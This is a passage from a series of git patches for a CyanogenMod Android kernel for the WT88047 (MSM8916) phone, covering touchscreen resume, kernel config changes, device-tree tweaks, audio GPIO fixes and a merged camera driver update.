3 deletions(-) diff --git a/drivers/input/touchscreen/ft5x06_ts.c b/drivers/input/touchscreen/ft5x06_ts.c index 66d7eb4a5306b..81e4228f6cbb8 100644 --- a/drivers/input/touchscreen/ft5x06_ts.c +++ b/drivers/input/touchscreen/ft5x06_ts.c @@ -1286,6 +1286,7 @@ static int ft5x06_ts_resume(struct device *dev) #endif #if defined(CONFIG_FB) +static bool unblanked_once = false; static int fb_notifier_callback(struct notifier_block *self, unsigned long event, void *data) { @@ -1297,10 +1298,13 @@ static int fb_notifier_callback(struct notifier_block *self, if (evdata && evdata->data && event == FB_EVENT_BLANK && ft5x06_data && ft5x06_data->client) { blank = evdata->data; - if (*blank == FB_BLANK_UNBLANK) - ft5x06_ts_resume(&ft5x06_data->client->dev); - else if (*blank == FB_BLANK_POWERDOWN) + if (*blank == FB_BLANK_UNBLANK) { + if (unblanked_once) + ft5x06_ts_resume(&ft5x06_data->client->dev); + } else if (*blank == FB_BLANK_POWERDOWN) { + unblanked_once = true; ft5x06_ts_suspend(&ft5x06_data->client->dev); + } } return 0; From f2f199d86f48d48fec77f1a038486770ca2cb3b4 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 11 Oct 2015 21:09:48 +0700 Subject: [PATCH 029/365] wt88047: Enable deferred MMC resume Enable deferred MMC resume until I/O is requested. This will reduce overall resume latency and save power when theres an SD card inserted but not being used. Change-Id: Ia56f49a5f8007e10c91bdb8666a4661a152959e4 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 9d99740c7046b..a537d46270736 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -2832,7 +2832,7 @@ CONFIG_MMC_PARANOID_SD_INIT=y CONFIG_MMC_BLOCK=y CONFIG_MMC_BLOCK_MINORS=32 CONFIG_MMC_BLOCK_BOUNCE=y -# CONFIG_MMC_BLOCK_DEFERRED_RESUME is not set +CONFIG_MMC_BLOCK_DEFERRED_RESUME=y # CONFIG_SDIO_UART is not set # CONFIG_MMC_TEST is not set From 0b6c462034c7aee598ce94de09f9ad2777f88d2a Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 12 Oct 2015 21:33:22 +0700 Subject: [PATCH 030/365] wt88047: dts: Restore SDHC "qcom,nonremovable" value This value somehow get deleted from balika011 original dts Change-Id: I471a36a793ebce6a845d054526b818c759d8b409 --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 2 ++ 1 file changed, 2 insertions(+) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index bcafd23596ec6..39b828cba77dd 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -346,6 +346,8 @@ }; &sdhc_2 { + qcom,nonremovable; + interrupts = <0 1>; interrupt-map = <0 &intc 0 125 0 1 &intc 0 221 0>; From b039a06c3dbf907809508d52c13fd18123518f1e Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 12 Oct 2015 22:40:13 +0700 Subject: [PATCH 031/365] arm: kernel: Mute migrate IRQ warning Since WT88047 use mpdecision with CPU hotplug support, migrate_irqs start flooding kernel message buffer Change-Id: I123cef4cc24a39e7fe31695251a27e5f882b3a05 --- arch/arm/kernel/irq.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/arch/arm/kernel/irq.c b/arch/arm/kernel/irq.c index 9d2019c4d817c..5e7345a81e241 100644 --- a/arch/arm/kernel/irq.c +++ b/arch/arm/kernel/irq.c @@ -182,9 +182,11 @@ void migrate_irqs(void) affinity_broken = migrate_one_irq(desc); raw_spin_unlock(&desc->lock); +#ifndef CONFIG_MACH_WT88047 if (affinity_broken && printk_ratelimit()) pr_warning("IRQ%u no longer affine to CPU%u\n", i, smp_processor_id()); +#endif } local_irq_restore(flags); From b5fc9407d86ee16a99dffe3e50b6ac8cf3f50efa Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 12 Oct 2015 23:32:03 +0700 Subject: [PATCH 032/365] wt88047: Update kernel config - We already in stage that no longer need a big message buffer - Remind us there still missing drivers for YAS537 and BQ2022A - Based on stock kernel config, we don't have vm-bms chip - Linear charger disabled on stock kernel - Re-enable Qualcomm download mode - Set ION to allocate buffers in only 4KB chunks Change-Id: Ic03e96cc7e5c364e416281afed806a6e6e01e18b --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index a537d46270736..38f546ab81d20 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -106,7 +106,7 @@ CONFIG_RCU_FAST_NO_HZ=y # CONFIG_RCU_NOCB_CPU is not set CONFIG_IKCONFIG=y # CONFIG_IKCONFIG_PROC is not set -CONFIG_LOG_BUF_SHIFT=21 +CONFIG_LOG_BUF_SHIFT=17 CONFIG_GENERIC_SCHED_CLOCK=y CONFIG_CGROUPS=y CONFIG_CGROUP_DEBUG=y @@ -1610,6 +1610,7 @@ CONFIG_SENSORS_AKM8963=y # CONFIG_SENSORS_BMA2X2 is not set # CONFIG_SENSORS_BMM050 is not set # CONFIG_SENSORS_BMG is not set +CONFIG_SENSORS_YAS537=y # # Hardware I/O ports @@ -1871,6 +1872,7 @@ CONFIG_POWER_SUPPLY=y # CONFIG_SMB349_USB_CHARGER is not set # CONFIG_SMB350_CHARGER is not set CONFIG_SMB135X_CHARGER=y +CONFIG_BQ2022A_SUPPORT=y CONFIG_SMB1360_CHARGER_FG=y CONFIG_SMB358_CHARGER=y # CONFIG_BATTERY_BQ28400 is not set @@ -1880,14 +1882,14 @@ CONFIG_SMB358_CHARGER=y CONFIG_BATTERY_BCL=y # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GOLDFISH is not set -CONFIG_QPNP_VM_BMS=y +# CONFIG_QPNP_VM_BMS is not set # CONFIG_QPNP_BMS is not set -CONFIG_QPNP_LINEAR_CHARGER=y +# CONFIG_QPNP_LINEAR_CHARGER is not set # CONFIG_MSM_BCL_CTL is not set CONFIG_POWER_RESET=y # CONFIG_POWER_RESET_GPIO is not set CONFIG_POWER_RESET_MSM=y -# CONFIG_MSM_DLOAD_MODE is not set +CONFIG_MSM_DLOAD_MODE=y CONFIG_MSM_PRESERVE_MEM=y # CONFIG_POWER_RESET_RESTART is not set # CONFIG_POWER_AVS is not set @@ -3058,7 +3060,7 @@ CONFIG_ONESHOT_SYNC=y CONFIG_ION=y # CONFIG_ION_TEST is not set CONFIG_ION_MSM=y -# CONFIG_ALLOC_BUFFERS_IN_4K_CHUNKS is not set +CONFIG_ALLOC_BUFFERS_IN_4K_CHUNKS=y # CONFIG_FIQ_DEBUGGER is not set # CONFIG_FIQ_WATCHDOG is not set # CONFIG_USB_WPAN_HCD is not set From 6affb4cfdd1bcf460e3bdcd10621f89cc1c3fc82 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Fri, 16 Oct 2015 23:13:08 +0700 Subject: [PATCH 033/365] wt88047: Update config, enable bfq scheduler and bfqio cgroup Change-Id: I50e6a49d00a92cf03cf887c288f35e0ffde60e01 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 38f546ab81d20..ce2cd9ad11742 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -259,9 +259,12 @@ CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_DEADLINE=y CONFIG_IOSCHED_ROW=y CONFIG_IOSCHED_CFQ=y +CONFIG_IOSCHED_BFQ=y +CONFIG_CGROUP_BFQIO=y # CONFIG_DEFAULT_DEADLINE is not set # CONFIG_DEFAULT_ROW is not set # CONFIG_DEFAULT_CFQ is not set +# CONFIG_DEFAULT_BFQ is not set CONFIG_DEFAULT_NOOP=y CONFIG_DEFAULT_IOSCHED="noop" CONFIG_UNINLINE_SPIN_UNLOCK=y @@ -2823,6 +2826,7 @@ CONFIG_RMNET_SMD_DATA_CHANNEL="DATA40" CONFIG_MMC=y # CONFIG_MMC_DEBUG is not set CONFIG_MMC_PERF_PROFILING=y +# CONFIG_MMC_CMD_LOG is not set CONFIG_MMC_UNSAFE_RESUME=y CONFIG_MMC_CLKGATE=y CONFIG_MMC_EMBEDDED_SDIO=y @@ -2844,6 +2848,7 @@ CONFIG_MMC_BLOCK_DEFERRED_RESUME=y CONFIG_MMC_SDHCI=y CONFIG_MMC_SDHCI_PLTFM=y CONFIG_MMC_SDHCI_MSM=y +# CONFIG_MMC_SDHCI_MSM_DEBUG is not set # CONFIG_MMC_SDHCI_PXAV3 is not set # CONFIG_MMC_SDHCI_PXAV2 is not set # CONFIG_MMC_DW is not set From 8d80cd165c2485475ef5d534c9564baad7ac8321 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 19 Oct 2015 23:31:42 +0700 Subject: [PATCH 034/365] wt88047: Disable KSM config Change-Id: I215f05d4bd3863404d86711dcf89b79ab8396a78 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index ce2cd9ad11742..02782ca2ace0f 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -491,7 +491,7 @@ CONFIG_MIGRATION=y # CONFIG_PHYS_ADDR_T_64BIT is not set CONFIG_ZONE_DMA_FLAG=0 CONFIG_BOUNCE=y -CONFIG_KSM=y +# CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=4096 CONFIG_CROSS_MEMORY_ATTACH=y # CONFIG_CLEANCACHE is not set From b2cc96b1d61cd49f4afab2a2806682fc6dc11459 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Tue, 20 Oct 2015 22:24:09 +0700 Subject: [PATCH 035/365] wt88047: dts: Use default MSM8916 memory region Change-Id: I733b4405134e1473fc2e13dcb663c90fe5fa7999 --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 39b828cba77dd..0e4963da7f99d 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -34,21 +34,9 @@ status = "disabled"; }; - modem_adsp_region@0 { - reg = <0x0 0x86800000 0x0 0x05400000>; - }; - - pheripheral_region@0 { - reg = <0x0 0x8bc00000 0x0 0x0600000>; - }; - secure_region@0 { status = "disabled"; }; - - venus_qseecom_region@0 { - reg = <0 0 0 0x600000>; - }; }; }; From 42d1b5a7205d4f55c622ccbc958c1234dff0ab3b Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 25 Oct 2015 18:49:22 +0700 Subject: [PATCH 036/365] wt88047: dts: Calibrate LTR553 output data for WT88047 Still not accurate but better in low light condition Change-Id: I53c8d87ae5414fa659a70e66222869da4552364d --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 0e4963da7f99d..568a0784dc382 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -243,6 +243,10 @@ liteon,ps-pulses = <4>; liteon,wakeup-threshold = <4>; liteon,als-integration-time = <0>; + liteon,als-equation-0 = <1 1 7743 1059 600 1>; + liteon,als-equation-1 = <4 1 2785 696 240 (-1)>; + liteon,als-equation-2 = <0 0 5926 1300 44 1>; + liteon,als-equation-3 = <0 0 0 0 1 1>; }; mpu6050@68 { From 8331db6c43c5d7f8c1ad310ad79ea33408215e38 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Wed, 4 Nov 2015 17:50:29 +0700 Subject: [PATCH 037/365] ASoC: msm: Disable external mic bias for WT88047 Workaround for stereo recording audio noise Change-Id: I6a432769b4ec1206973d74114f15093b6a2eb951 --- sound/soc/codecs/msm8x16-wcd.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/sound/soc/codecs/msm8x16-wcd.c b/sound/soc/codecs/msm8x16-wcd.c index 9561622758e82..061baec95b306 100644 --- a/sound/soc/codecs/msm8x16-wcd.c +++ b/sound/soc/codecs/msm8x16-wcd.c @@ -3388,7 +3388,9 @@ static int msm8x16_wcd_codec_enable_micbias(struct snd_soc_dapm_widget *w, char *internal2_text = "Internal2"; char *internal3_text = "Internal3"; char *external2_text = "External2"; +#ifndef CONFIG_MACH_WT88047 char *external_text = "External"; +#endif bool micbias2; dev_dbg(codec->dev, "%s %d\n", __func__, event); @@ -3423,11 +3425,13 @@ static int msm8x16_wcd_codec_enable_micbias(struct snd_soc_dapm_widget *w, snd_soc_update_bits(codec, micb_int_reg, 0x2, 0x2); #endif } +#ifndef CONFIG_MACH_WT88047 if (!strnstr(w->name, external_text, strlen(w->name))) snd_soc_update_bits(codec, MSM8X16_WCD_A_ANALOG_MICB_1_EN, 0x05, 0x04); if (w->reg == MSM8X16_WCD_A_ANALOG_MICB_1_EN) msm8x16_wcd_configure_cap(codec, true, micbias2); +#endif break; case SND_SOC_DAPM_POST_PMU: From ba93a405f5d8f92fe733df2e5ff636158a194a78 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 2 Nov 2015 16:22:54 +0700 Subject: [PATCH 038/365] wt88047: Disable MSM download mode Change-Id: I9680c1f5a84939140ba8c91b590e3139de95277e --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 02782ca2ace0f..fe863361f8482 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -1892,7 +1892,7 @@ CONFIG_BATTERY_BCL=y CONFIG_POWER_RESET=y # CONFIG_POWER_RESET_GPIO is not set CONFIG_POWER_RESET_MSM=y -CONFIG_MSM_DLOAD_MODE=y +# CONFIG_MSM_DLOAD_MODE is not set CONFIG_MSM_PRESERVE_MEM=y # CONFIG_POWER_RESET_RESTART is not set # CONFIG_POWER_AVS is not set From dd06113ae2446edd24099bbcd6e2a157d48dc396 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Tue, 10 Nov 2015 20:15:28 +0700 Subject: [PATCH 039/365] wt88047: ASoC: Fix gpiolib request error From balika011's original sound patch Change-Id: I0e5313707adfc8c817a833268512c5457b727400 --- sound/soc/msm/msm8x16.c | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/sound/soc/msm/msm8x16.c b/sound/soc/msm/msm8x16.c index fdbc6b11fce29..e191312e10b71 100755 --- a/sound/soc/msm/msm8x16.c +++ b/sound/soc/msm/msm8x16.c @@ -369,6 +369,36 @@ static int msm8x16_mclk_event(struct snd_soc_dapm_widget *w, static struct delayed_work lineout_amp_enable; static struct delayed_work lineout_amp_dualmode; +static void msm8x16_ext_spk_gpio_request(void) +{ + if (gpio_request(EXT_SPK_AMP_GPIO, "ext_spk_amp_gpio")) { + pr_err("%s: gpio_request failed for ext_spk_amp_gpio.\n", __func__); + return; + } + + if (gpio_request(EXT_SPK_AMP_GPIO_1, "ext_spk_amp_gpio_1")) { + pr_err("%s: gpio_request failed for ext_spk_amp_gpio_1.\n", __func__); + return; + } + + if (gpio_request(EXT_SPK_AMP_HEADSET_GPIO, "ext_spk_amp_headset_gpio")) { + pr_err("%s: gpio_request failed for ext_spk_amp_headset_gpio.\n", __func__); + return; + } +} + +static void msm8x16_ext_spk_gpio_free(void) +{ + if (gpio_is_valid(EXT_SPK_AMP_GPIO)) + gpio_free(EXT_SPK_AMP_GPIO); + + if (gpio_is_valid(EXT_SPK_AMP_GPIO_1)) + gpio_free(EXT_SPK_AMP_GPIO_1); + + if (gpio_is_valid(EXT_SPK_AMP_HEADSET_GPIO)) + gpio_free(EXT_SPK_AMP_HEADSET_GPIO); +} + static void msm8x16_ext_spk_delayed_enable(struct work_struct *work) { int i; @@ -1771,6 +1801,8 @@ static int msm_audrx_init(struct snd_soc_pcm_runtime *rtd) } #ifdef CONFIG_MACH_WT88047 + msm8x16_ext_spk_gpio_request(); + INIT_DELAYED_WORK(&lineout_amp_enable, msm8x16_ext_spk_delayed_enable); INIT_DELAYED_WORK(&lineout_amp_dualmode, msm8x16_ext_spk_delayed_dualmode); #endif @@ -3258,6 +3290,9 @@ static int msm8x16_asoc_machine_remove(struct platform_device *pdev) iounmap(pdata->vaddr_gpio_mux_mic_ctl); if (pdata->vaddr_gpio_mux_pcm_ctl) iounmap(pdata->vaddr_gpio_mux_pcm_ctl); +#ifdef CONFIG_MACH_WT88047 + msm8x16_ext_spk_gpio_free(); +#endif snd_soc_unregister_card(card); mutex_destroy(&pdata->cdc_mclk_mutex); return 0; From 48eb98afadc7402de41a0fcdc56397cadf64c8b0 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Tue, 10 Nov 2015 22:12:59 +0700 Subject: [PATCH 040/365] wt88047: ASoC: Fix headset audio routing From balika011's original sound patch Change-Id: I66c88640b8094605dbd8e47040e30876d74b171a --- sound/soc/codecs/msm8x16-wcd.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/sound/soc/codecs/msm8x16-wcd.c b/sound/soc/codecs/msm8x16-wcd.c index 061baec95b306..590825bfa7b9d 100644 --- a/sound/soc/codecs/msm8x16-wcd.c +++ b/sound/soc/codecs/msm8x16-wcd.c @@ -4039,6 +4039,10 @@ static int msm8x16_wcd_hph_pa_event(struct snd_soc_dapm_widget *w, snd_soc_update_bits(codec, MSM8X16_WCD_A_CDC_RX2_B6_CTL, 0x01, 0x00); } +#ifdef CONFIG_MACH_WT88047 + // TODO: Is hadset connected? + gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, true); +#endif break; case SND_SOC_DAPM_PRE_PMD: @@ -4088,6 +4092,9 @@ static int msm8x16_wcd_hph_pa_event(struct snd_soc_dapm_widget *w, "%s: sleep 10 ms after %s PA disable.\n", __func__, w->name); usleep_range(10000, 10100); +#ifdef CONFIG_MACH_WT88047 + gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, false); +#endif break; } return 0; From 51dfb772e82566272c0310d14a214402d949a412 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Thu, 12 Nov 2015 21:26:06 +0700 Subject: [PATCH 041/365] wt88047: camera: Merge LNX.LA.3.7.1.c5-07700-8x16.0 release Change-Id: I1b73b8869891400b2d65fe602fa5ad8befb314cf --- .../platform/msm/camera_wt88047_v2/Kconfig | 9 + .../msm/camera_wt88047_v2/camera/camera.c | 7 - .../msm/camera_wt88047_v2/isp/msm_isp.c | 1 + .../msm/camera_wt88047_v2/isp/msm_isp.h | 23 +- .../msm/camera_wt88047_v2/isp/msm_isp32.c | 18 +- .../msm/camera_wt88047_v2/isp/msm_isp40.c | 381 +++++----- .../msm/camera_wt88047_v2/isp/msm_isp44.c | 15 +- .../camera_wt88047_v2/isp/msm_isp_axi_util.c | 158 ++-- .../camera_wt88047_v2/isp/msm_isp_axi_util.h | 3 + .../msm/camera_wt88047_v2/isp/msm_isp_util.c | 53 +- .../jpeg_10/msm_jpeg_hw_reg.h | 3 + .../jpeg_10/msm_jpeg_platform.c | 7 + .../camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h | 1 + .../platform/msm/camera_wt88047_v2/msm.c | 26 - .../platform/msm/camera_wt88047_v2/msm.h | 5 - .../msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c | 170 ++++- .../msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h | 3 + .../msm/camera_wt88047_v2/sensor/Makefile | 1 + .../camera_wt88047_v2/sensor/cci/msm_cci.c | 1 - .../camera_wt88047_v2/sensor/cci/msm_cci.h | 3 +- .../camera_wt88047_v2/sensor/csid/msm_csid.c | 4 +- .../csiphy/include/msm_csiphy_3_1_hwreg.h | 4 +- .../sensor/csiphy/msm_csiphy.c | 19 + .../msm/camera_wt88047_v2/sensor/ov7695.c | 679 ++++++++++++++++++ include/media/msmb_pproc_wt88047.h | 3 +- 25 files changed, 1243 insertions(+), 354 deletions(-) create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov7695.c diff --git a/drivers/media/platform/msm/camera_wt88047_v2/Kconfig b/drivers/media/platform/msm/camera_wt88047_v2/Kconfig index a61bd0f354dfd..56834c8ddd6ac 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/Kconfig +++ b/drivers/media/platform/msm/camera_wt88047_v2/Kconfig @@ -173,6 +173,15 @@ config OV5645 1280 * 270. It does not support auto focus. It supports few special effects like saturation. +config OV7695 + bool "Sensor OV7695 (YUV 0.3MP)" + depends on MSMB_CAMERA + ---help--- + OV7695 is Omnivision YUV sensor. It supports 0.3 MP preview + and snapshot. The preview and snapshot resolution shall be + VGA. It does not support auto focus. It supports + few special effects like saturation. + config SP1628 bool "Sensor SP1628 (YUV 720P)" depends on MSMB_CAMERA diff --git a/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c b/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c index 02b578ff8184c..2bc869d433a4c 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c @@ -559,9 +559,6 @@ static int camera_v4l2_open(struct file *filep) if (!atomic_read(&pvdev->opened)) { pm_stay_awake(&pvdev->vdev->dev); - /* Disable power collapse latency */ - msm_pm_qos_update_request(CAMERA_DISABLE_PC_LATENCY); - /* create a new session when first opened */ rc = msm_create_session(pvdev->vdev->num, pvdev->vdev); if (rc < 0) { @@ -595,8 +592,6 @@ static int camera_v4l2_open(struct file *filep) __func__, __LINE__, rc); goto post_fail; } - /* Enable power collapse latency */ - msm_pm_qos_update_request(CAMERA_ENABLE_PC_LATENCY); } else { rc = msm_create_command_ack_q(pvdev->vdev->num, find_first_zero_bit(&opn_idx, @@ -611,7 +606,6 @@ static int camera_v4l2_open(struct file *filep) find_first_zero_bit(&opn_idx, MSM_CAMERA_STREAM_CNT_BITS)); idx |= (1 << find_first_zero_bit(&opn_idx, MSM_CAMERA_STREAM_CNT_BITS)); atomic_cmpxchg(&pvdev->opened, opn_idx, idx); - return rc; post_fail: @@ -674,7 +668,6 @@ static int camera_v4l2_close(struct file *filep) /* This should take care of both normal close * and application crashes */ msm_destroy_session(pvdev->vdev->num); - pm_relax(&pvdev->vdev->dev); } else { camera_pack_event(filep, MSM_CAMERA_SET_PARM, diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c index 60273ac34f18d..9bdda2c326060 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c @@ -249,6 +249,7 @@ static int vfe_probe(struct platform_device *pdev) mutex_init(&vfe_dev->core_mutex); spin_lock_init(&vfe_dev->tasklet_lock); spin_lock_init(&vfe_dev->shared_data_lock); + spin_lock_init(&vfe_dev->sof_lock); media_entity_init(&vfe_dev->subdev.sd.entity, 0, NULL, 0); vfe_dev->subdev.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; vfe_dev->subdev.sd.entity.group_id = MSM_CAMERA_SUBDEV_VFE; diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h index 50688b61c3d58..2c8ac219fc0bd 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h @@ -32,6 +32,7 @@ #define VFE40_8x26_VERSION 0x20000013 #define VFE40_8x26V2_VERSION 0x20010014 #define VFE40_8916_VERSION 0x10030000 +#define VFE40_8939_VERSION 0x10040000 #define MAX_IOMMU_CTX 2 #define MAX_NUM_WM 7 @@ -42,15 +43,6 @@ #define MAX_INIT_FRAME_DROP 31 #define ISP_Q2 (1 << 2) -#define AVTIMER_MSW_PHY_ADDR 0xFE05300C -#define AVTIMER_LSW_PHY_ADDR 0xFE053008 -#define AVTIMER_MSW_PHY_ADDR_8916 0x7706010 -#define AVTIMER_LSW_PHY_ADDR_8916 0x770600C -#define AVTIMER_MODE_CTL_PHY_ADDR_8916 0x7706040 -/*AVTimer h/w is configured to generate 27Mhz ticks*/ -#define AVTIMER_TICK_SCALER_8916 27 -#define AVTIMER_ITERATION_CTR 16 - #define VFE_PING_FLAG 0xFFFFFFFF #define VFE_PONG_FLAG 0x0 @@ -477,6 +469,12 @@ struct msm_vbif_cntrs { int total_vbif_cnt_2; }; +struct msm_vfe_hw_init_parms { + const char *entries; + const char *regs; + const char *settings; +}; + struct vfe_device { struct platform_device *pdev; struct msm_sd_subdev subdev; @@ -491,7 +489,7 @@ struct vfe_device { struct device *iommu_ctx[MAX_IOMMU_CTX]; struct regulator *fs_vfe; - struct clk *vfe_clk[7]; + struct clk **vfe_clk; uint32_t num_clk; uint32_t bus_perf_client; @@ -509,6 +507,7 @@ struct vfe_device { uint8_t taskletq_reg_update_idx; spinlock_t tasklet_lock; spinlock_t shared_data_lock; + spinlock_t sof_lock; struct list_head tasklet_q; struct list_head tasklet_regupdate_q; struct tasklet_struct vfe_tasklet; @@ -526,10 +525,6 @@ struct vfe_device { int vfe_clk_idx; uint32_t vfe_open_cnt; uint8_t vt_enable; - void __iomem *p_avtimer_msw; - void __iomem *p_avtimer_lsw; - void __iomem *p_avtimer_ctl; - uint8_t avtimer_scaler; uint8_t ignore_error; struct msm_isp_statistics *stats; struct msm_vbif_cntrs vbif_cntrs; diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c index 9b854e3af535b..42440df303eec 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c @@ -79,7 +79,18 @@ static int msm_vfe32_init_hardware(struct vfe_device *vfe_dev) goto fs_failed; } } - + if (vfe_dev->num_clk <= 0) { + pr_err("%s: Invalid num of clock\n", __func__); + goto fs_failed; + } else { + vfe_dev->vfe_clk = + kzalloc(sizeof(struct clk *) * vfe_dev->num_clk, + GFP_KERNEL); + if (!vfe_dev->vfe_clk) { + pr_err("%s:%d No memory\n", __func__, __LINE__); + return -ENOMEM; + } + } rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe32_1_clk_info, vfe_dev->vfe_clk, ARRAY_SIZE(msm_vfe32_1_clk_info), 1); if (rc < 0) { @@ -121,9 +132,9 @@ static int msm_vfe32_init_hardware(struct vfe_device *vfe_dev) msm_vfe32_2_clk_info, vfe_dev->vfe_clk, ARRAY_SIZE(msm_vfe32_2_clk_info), 0); clk_enable_failed: - if (vfe_dev->fs_vfe) { + if (vfe_dev->fs_vfe) regulator_disable(vfe_dev->fs_vfe); - } + kfree(vfe_dev->vfe_clk); fs_failed: msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); bus_scale_register_failed: @@ -143,6 +154,7 @@ static void msm_vfe32_release_hardware(struct vfe_device *vfe_dev) msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe32_2_clk_info, vfe_dev->vfe_clk, ARRAY_SIZE(msm_vfe32_2_clk_info), 0); + kfree(vfe_dev->vfe_clk); regulator_disable(vfe_dev->fs_vfe); msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); } diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c index 3444db15ba3c8..47d0f8bbfda28 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c @@ -84,177 +84,167 @@ overflows*/ static struct msm_cam_clk_info msm_vfe40_clk_info[VFE_CLK_INFO_MAX]; -static void msm_vfe40_init_qos_parms(struct vfe_device *vfe_dev) +static int32_t msm_vfe40_init_qos_parms(struct vfe_device *vfe_dev, + struct msm_vfe_hw_init_parms *qos_parms, + struct 